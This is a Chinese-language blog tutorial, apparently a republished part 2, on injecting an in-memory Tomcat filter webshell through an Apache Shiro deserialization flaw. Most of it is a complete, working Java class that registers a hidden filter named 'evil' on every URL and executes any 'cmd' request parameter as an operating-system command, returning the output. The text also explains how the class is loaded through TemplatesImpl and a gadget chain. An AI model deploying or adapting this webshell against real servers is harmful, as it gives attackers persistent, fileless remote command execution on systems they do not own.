利用shiro反序列化注入冰蝎内存马 (2)

image-20211218194055794

2)利用shiro反序列化注入内存马

把以上提到的filter内存马逻辑写入恶意类的static方法中,再利用TemplatesImpl来动态加载字节码触发其逻辑,从而注入恶意filter

构造BehinderFilter.java

BehinderFilter因为其被TemplatesImpl类来加载,所以需要继承AbstractTranslet 类

image-20211218194800076

在构造函数中放入tomcat filter内存马的代码后,会缺少一个request对象,在这里request只是用来拿standardContext的,而我们可以通过其他方式拿到standardContext

image-20211218194907909

在文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法中提到,由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,从而可以通过以下代码,从线程中拿到StandardContext

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

再看下图41行与78行的逻辑,实例化了一个内部类后set进filterDef中

image-20211218195059659

image-20211218195119375

其实在这里可以直接把整个恶意类BehinderFilter当作一个filter,使其实现Filter接口

public class BehinderFilter extends AbstractTranslet implements Filter

再把Filter逻辑写入此类的doFilter方法中,最终得到如下代码

package com.govuln.shiroattack.memshell; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*; public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } } shiro反序列化注入内存马

这里采用P牛给出专门针对shiro无CC依赖的CB1链来进行注入内存马,项目代码地址:https://github.com/phith0n/JavaThings

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzgpzw.html